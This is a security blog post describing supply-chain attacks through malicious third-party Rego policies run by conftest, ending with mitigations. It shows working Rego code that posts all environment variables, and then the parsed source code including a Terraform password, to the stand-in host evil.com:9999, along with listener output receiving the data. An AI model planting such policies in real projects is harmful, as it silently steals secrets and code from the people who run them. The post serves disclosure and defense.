Home Malicious Rego: OPA Supply Chain Attacks
Post
Cancel

Malicious Rego: OPA Supply Chain Attacks

I’ve been using Rego a lot lately and have been very pleased with it. Like any technology though, it can be abused - especially if used irresponsibly. I was inspired by this post about IaC supply-chain attacks to explore what I could do with Rego in a similar vein.

Rego is designed to be utilised for a very specific purpose, and thus its standard library is understandably not huge. Despite this, much like Terraform, there are still features which can be leveraged by an attacker for supply-chain attack vectors. If a consumer takes advantage of policies published by a third party, they should be aware of the following.

Exfiltrating environment variables

The HTTP API can be abused to leak environment variables. All environment variables are made available via opa.runtime().env in conftest.

1
2
3
4
5
6
7
8
9
10
package main

deny {
    request := {
        "url": "https://evil.com:9999",
        "method": "POST",
        "body": opa.runtime().env,
    }
    response := http.send(request)
}

When this policy is run using conftest:

1
2
3
conftest test -p ./policies .

1 test, 1 passed, 0 warnings, 0 failures, 0 exceptions

A remote attacker would receive all environment variables available to the process:

1
2
3
4
5
6
7
8
9
10
> nc -lvnp 9999
Connection from victim:59054
POST / HTTP/1.1
Host: evil.com:9999
User-Agent: Go-http-client/1.1
Content-Length: 1337
Accept-Encoding: gzip
Connection: close

{"SECRET":"not-any-more","SHELL":"/usr/bin/zsh","HOME":"/home/liamg","TERM":"alacritty","USER":"liamg","_":"/home/liamg/go/bin/conftest"}

The victim would have no indication anything unusual had occurred.

Exfiltrating source code

Whilst there is no API for reading arbitrary files, some files can still be sent to an attacker. Because the input being processed by the policy is just an interpretation of source code, we can leak this interpretation (the input document) and piece it back together elsewhere.

We can modify the previous policy to leak source code using this method, with a separate HTTP request used per file in this case:

1
2
3
4
5
6
7
8
9
10
package main

deny {
    request := {
        "url": "https://evil.com:9999",
        "method": "POST",
        "body": input,
    }
    response := http.send(request)
}

For example, with the following Terraform file…

1
2
3
4
5
6
7
8
9
10
11
resource "aws_db_instance" "default" {
  allocated_storage    = 10
  engine               = "mysql"
  engine_version       = "5.7"
  instance_class       = "db.t3.micro"
  name                 = "mydb"
  username             = "foo"
  password             = "foobarbaz"
  parameter_group_name = "default.mysql5.7"
  skip_final_snapshot  = true
}

The attacker would receive the file in the Rego input document format:

1
2
3
4
5
6
7
8
9
10
> nc -lvnp 9999
Connection from victim:59058
POST / HTTP/1.1
Host: evil.com:9999
User-Agent: Go-http-client/1.1
Content-Length: 263
Accept-Encoding: gzip
Connection: close

{"resource":{"aws_db_instance":{"default":{"allocated_storage":10,"engine":"mysql","engine_version":"5.7","instance_class":"db.t3.micro","name":"mydb","parameter_group_name":"default.mysql5.7","password":"foobarbaz","skip_final_snapshot":true,"username":"foo"}}}}

The above is an extreme case, as a plaintext password should not be stored in plaintext within the source code. At the very least, vital details of the victim’s infrastructure can be divulged.

Taking things further…

If infrastructure-as-code is being scanned in an environment that has network connectivity to that infrastructure, and secrets are available in plaintext locally, it would be theoretically possible to use a malicious policy to identify certain types of resource, connect to them, authenticate with locally available secrets and wreak all sorts of havoc.

Mitigations

This problem only exists where third-party policies are used from a malicious source.

Firstly, you can review and manage your third-party policies and their sources and versions. Second, limit the capabilities, access and exposure of the environment where the policies are applied.

I’ve also started a GitHub discussion about having the potential to disable certain APIs while applying policies to prevent the above attack vector. It’s already possible to restrict OPA to a subset of the built-in functions, though this functionality isn’t yet available as an option to conftest, tfsec, or other tools which make use of OPA. Watch this space!

We could also write a Rego policy to detect malicious Rego…

Please comment below if you have further ideas for other attack vectors…

This post is licensed under CC BY 4.0 by the author.

OPA Rego + tfsec: Custom security policies for your infrastructure

-

Comments powered by Disqus.